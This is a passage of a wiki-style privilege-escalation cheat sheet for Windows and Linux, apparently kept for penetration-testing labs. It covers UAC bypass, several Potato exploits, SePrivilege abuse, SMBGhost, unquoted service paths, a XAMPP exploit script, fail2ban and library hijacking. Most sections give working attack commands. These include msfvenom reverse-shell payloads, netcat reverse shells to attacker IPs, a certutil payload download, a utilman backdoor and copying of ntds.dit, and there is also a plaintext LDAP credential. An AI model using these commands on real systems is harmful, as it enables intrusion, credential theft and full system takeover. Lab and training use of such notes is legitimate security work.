BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192&lt;br /&gt;
&lt;br /&gt;
# Next check if UAC is enabled&lt;br /&gt;
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.&lt;br /&gt;
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;br /&gt;
# We then have to find a binary that have &amp;quot;autoElevate&amp;quot; set to true.&lt;br /&gt;
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)&lt;br /&gt;
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate&lt;br /&gt;
        true&lt;br /&gt;
# Then we have to generate a payload using msfvenom.&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe &amp;gt; shell.exe&lt;br /&gt;
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c&lt;br /&gt;
# Compile the above code&lt;br /&gt;
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe&lt;br /&gt;
# Transfer the binary to target and execute&lt;br /&gt;
.\eventvwr-bypassuac-64.exe&lt;br /&gt;
# Check your listener and then run &amp;quot;whoami /groups&amp;quot; again and check last line.&lt;br /&gt;
Mandatory Label\High Mandatory Level       Label            S-1-16-12288&lt;br /&gt;
# This means you can run elevated commands. Dumping hashes etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/apt69/COMahawk&lt;br /&gt;
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka &#039;Windows UPnP Service Elevation of Privilege Vulnerability&#039;.&lt;br /&gt;
# Method 1&lt;br /&gt;
.\COMahawk64.exe&lt;br /&gt;
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9&lt;br /&gt;
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.&lt;br /&gt;
# Method 2&lt;br /&gt;
.\COMahawk64.exe &amp;quot;C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HiveNightmare ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/GossiTheDog/HiveNightmare&lt;br /&gt;
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LAPS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If we have valid creds for LDAP we can query LDAP for the local admin password.&lt;br /&gt;
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b &amp;quot;DC=hutch,DC=offsec&amp;quot; -h 192.168.120.108 &amp;quot;(ms-MCS-AdmPwd=*)&amp;quot; ms-MCS-AdmPwd&lt;br /&gt;
# LAPS is a tool that periodically changes the local administrator&#039;s password when it expires. It then stores the password details in the Active Directory.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Potatos (SeimpersonatePrivilege) ====&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]&lt;br /&gt;
&lt;br /&gt;
===== Finding CLSID =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function Lookup-Clsid&lt;br /&gt;
{&lt;br /&gt;
    Param([string]$clsid)&lt;br /&gt;
    $CLSID_KEY = &#039;HKLM:\SOFTWARE\Classes\CLSID&#039;&lt;br /&gt;
    If ( Test-Path $CLSID_KEY\$clsid) {&lt;br /&gt;
        $name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).&#039;(default)&#039;&lt;br /&gt;
        $dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).&#039;(default)&#039;&lt;br /&gt;
    }&lt;br /&gt;
    $name, $dll&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hot Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/foxglovesec/Potato&lt;br /&gt;
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rotten Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/breenmachine/RottenPotatoNG&lt;br /&gt;
After having a meterpreter shell with incognito mode loaded:&lt;br /&gt;
MSFRottenPotato.exe t c:\windows\temp\test.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Lonely Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.&lt;br /&gt;
https://github.com/decoder-it/lonelypotato&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download repository&lt;br /&gt;
https://github.com/ohpe/juicy-potato&lt;br /&gt;
https://github.com/antonioCoco/JuicyPotatoNG&lt;br /&gt;
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;br /&gt;
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rogue Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/antonioCoco/RoguePotato&lt;br /&gt;
# Run in your machine the socat redirection (replace VICTIM_IP):&lt;br /&gt;
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999&lt;br /&gt;
# Execute PoC (replace YOUR_IP and command):&lt;br /&gt;
.\RoguePotato.exe -r YOUR_IP -e &amp;quot;command&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== GodPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]&lt;br /&gt;
&lt;br /&gt;
Enables privilege escalation in Windows 2012 - Windows 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GodPotato -cmd &amp;quot;cmd /c whoami&amp;quot;&lt;br /&gt;
GodPotato -cmd &amp;quot;nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SharpEfsPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;quot;whoami | Set-Content C:\temp\w.log&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== PrintSpoofer =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.&lt;br /&gt;
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:&lt;br /&gt;
PrintSpoofer.exe -i -c cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Se-privileges ====&lt;br /&gt;
&lt;br /&gt;
===== Great list and explanation =====&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This ppt will explain how to exploit different SePrivileges&lt;br /&gt;
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeManageVolume =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xct/SeManageVolumeAbuse&lt;br /&gt;
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeLoadDriverPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for PG Fuse&lt;br /&gt;
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeRestorePrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.&lt;br /&gt;
# See PG Heist writeup&lt;br /&gt;
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.&lt;br /&gt;
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1&lt;br /&gt;
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.&lt;br /&gt;
# Example of ways to escalate privilege&lt;br /&gt;
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen&lt;br /&gt;
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old&lt;br /&gt;
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe&lt;br /&gt;
# Now RDP to target without logging in. Then press win+u&lt;br /&gt;
rdesktop 192.168.153.165&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== SeBackupPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeBackUpPrivilege basically allows for full system read.&lt;br /&gt;
# See if user is member of &#039;Backup Operator&#039;.&lt;br /&gt;
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
# https://github.com/giuliano108/SeBackupPrivilege&lt;br /&gt;
# Example 1&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeUtils.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeCmdLets.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup&lt;br /&gt;
SeBackupPrivilege is disabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE&lt;br /&gt;
Get-ChildItem : Access to the path &#039;E:\V_BASE&#039; is denied.&lt;br /&gt;
At line:1 char:4&lt;br /&gt;
+ dir  Set-SeBackupPrivilege&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege&lt;br /&gt;
SeBackupPrivilege is enabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE # ...having enabled the privilege, this now works&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----        18/07/2013     13:04            Private&lt;br /&gt;
PS C:\scripts&amp;gt; cd E:\V_BASE\Private&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; dir&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE\Private&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
-----        05/07/2013     12:29     306435 report.pdf&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite&lt;br /&gt;
Copied 306435 bytes&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# Example 2&lt;br /&gt;
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns&lt;br /&gt;
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeCreateTokenPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.greyhathacker.net/?p=1025&lt;br /&gt;
Try running it many times&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SMBGhost ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CVE-2020-0796&lt;br /&gt;
# https://github.com/danigargu/CVE-2020-0796&lt;br /&gt;
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp&lt;br /&gt;
# Compile it. Change &#039;debug&#039; to &#039;release&#039;, set correct architecture.&lt;br /&gt;
# Transfer to target&lt;br /&gt;
.\cve-2020-0796.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Iperius Backup 6.1.0 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/46863&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SystemScheduler =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/45072&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Unquoted Service Path ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In order to exploit Unquoted service path we have to:&lt;br /&gt;
# - Be able to write to the target folder - Use icacls&lt;br /&gt;
# - Be able to restart the service or machine&lt;br /&gt;
# Exmaple (10.1.1.89)&lt;br /&gt;
icacls enterprisesystemmanager.exe # We have modify permissions&lt;br /&gt;
# Generate a payload&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe &amp;gt; enterprisesystemmanager.exe&lt;br /&gt;
# Move original .exe to .bak&lt;br /&gt;
 move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak&lt;br /&gt;
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.119.130/enterprisesystemmanager.exe&amp;quot;&lt;br /&gt;
# Catche the connection&lt;br /&gt;
rlwrap nc -lvnp 443                                                                                                                                  1 ⨯&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085&lt;br /&gt;
Microsoft Windows [Version 10.0.15063]&lt;br /&gt;
(c) 2017 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows XP SP0/SP1 - UPNP service exploit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html&lt;br /&gt;
# Requirenment: Obtained a low privilege shell on your victim&#039;s computer. Operating system is Windows XP with SP0 or SP1 installed.&lt;br /&gt;
# See write up for PWK 10.11.1.14.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Exploit Suggester ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Kernel Exploit list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/SecWiki/windows-kernel-exploits&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== xampp 7.3 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]&lt;br /&gt;
└─# cat exploit.ps1&lt;br /&gt;
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation&lt;br /&gt;
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)&lt;br /&gt;
# Original Author: Maximilian Barz (@S1lkys)&lt;br /&gt;
# Date: 27/09/2021&lt;br /&gt;
# Vendor Homepage: https://www.apachefriends.org&lt;br /&gt;
# Version: XAMPP &amp;lt; 7.2.29, 7.3.x &amp;lt; 7.3.16 &amp;amp; 7.4.x &amp;lt; 7.4.4&lt;br /&gt;
# Tested on: Windows 10 + XAMPP 7.3.10&lt;br /&gt;
# References: https://github.com/S1lkys/CVE-2020-11107&lt;br /&gt;
$file = &amp;quot;C:\xampp\xampp-control.ini&amp;quot;&lt;br /&gt;
$find = ((Get-Content $file)[2] -Split &amp;quot;=&amp;quot;)[1]&lt;br /&gt;
# Insert your payload path here&lt;br /&gt;
$replace = &amp;quot;C:\Users\Mike\Downloads\rev.exe&amp;quot;&lt;br /&gt;
(Get-Content $file) -replace $find, $replace | Set-Content $fil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2009-2698 (Centos 4.8) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xiaoxiaoleo/CVE-2009-2698&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2021-4034 (polkit) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/joeammond/CVE-2021-4034&lt;br /&gt;
# Check suid and see if /usr/bin/pkexec is present and python&lt;br /&gt;
# Then compile and run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2023–22809 (bypass sudo) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fail2ban ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Fail writeup&lt;br /&gt;
# Example reverse shell&lt;br /&gt;
# Option:  actionban&lt;br /&gt;
# Notes.:  command executed when banning an IP. Take care that the&lt;br /&gt;
#          command is executed with Fail2Ban user rights.&lt;br /&gt;
# Tags:    See jail.conf(5) man page&lt;br /&gt;
# Values:  CMD&lt;br /&gt;
#&lt;br /&gt;
#actionban =  -I f2b- 1 -s  -j&lt;br /&gt;
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Linux Kernel exploits ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux versions&lt;br /&gt;
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36&lt;br /&gt;
https://www.exploit-db.com/exploits/15285&lt;br /&gt;
# Linux Kernel &amp;lt; 4.4.0-116 (Ubuntu 16.04.4)&lt;br /&gt;
https://www.exploit-db.com/exploits/44298&lt;br /&gt;
# Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27)&lt;br /&gt;
https://www.exploit-db.com/exploits/45010&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Copy Fail - CVE-2026-31431 ====&lt;br /&gt;
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py&lt;br /&gt;
&lt;br /&gt;
==== Dirty Frag: Universal Linux LPE ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/V4bel/dirtyfrag.git &amp;amp;&amp;amp; cd dirtyfrag &amp;amp;&amp;amp; gcc -O0 -Wall -o exp exp.c -lutil &amp;amp;&amp;amp; ./exp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ld_reload - Dynamic library hijacking ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one&lt;br /&gt;
# List Dynamic Dependencies = ldd&lt;br /&gt;
# Ldd is a powerful command-line tool that allows users to view an executable file&#039;s shared object dependencies.&lt;br /&gt;
ldd /usr/bin/log-sweeper&lt;br /&gt;
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe11833000)&lt;br /&gt;
        utils.so =&amp;gt; not found&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007f6ce440c000)&lt;br /&gt;
        /lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)&lt;br /&gt;
# Generate .so payload&lt;br /&gt;
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so &amp;gt; utils.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SUID ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Setuid Screen 4.5.0 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/41154&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sudo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]&lt;br /&gt;
&lt;br /&gt;
==== Systemctl (Misconfigured Permissions — sudo/SUID) ====&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]&lt;br /&gt;
&lt;br /&gt;
==== Sudo permission to run apache restart ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If your user have these permissions&lt;br /&gt;
(root) NOPASSWD: /usr/sbin/service apache2 restart&lt;br /&gt;
# First check what file you have write permission to.&lt;br /&gt;
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.&lt;br /&gt;
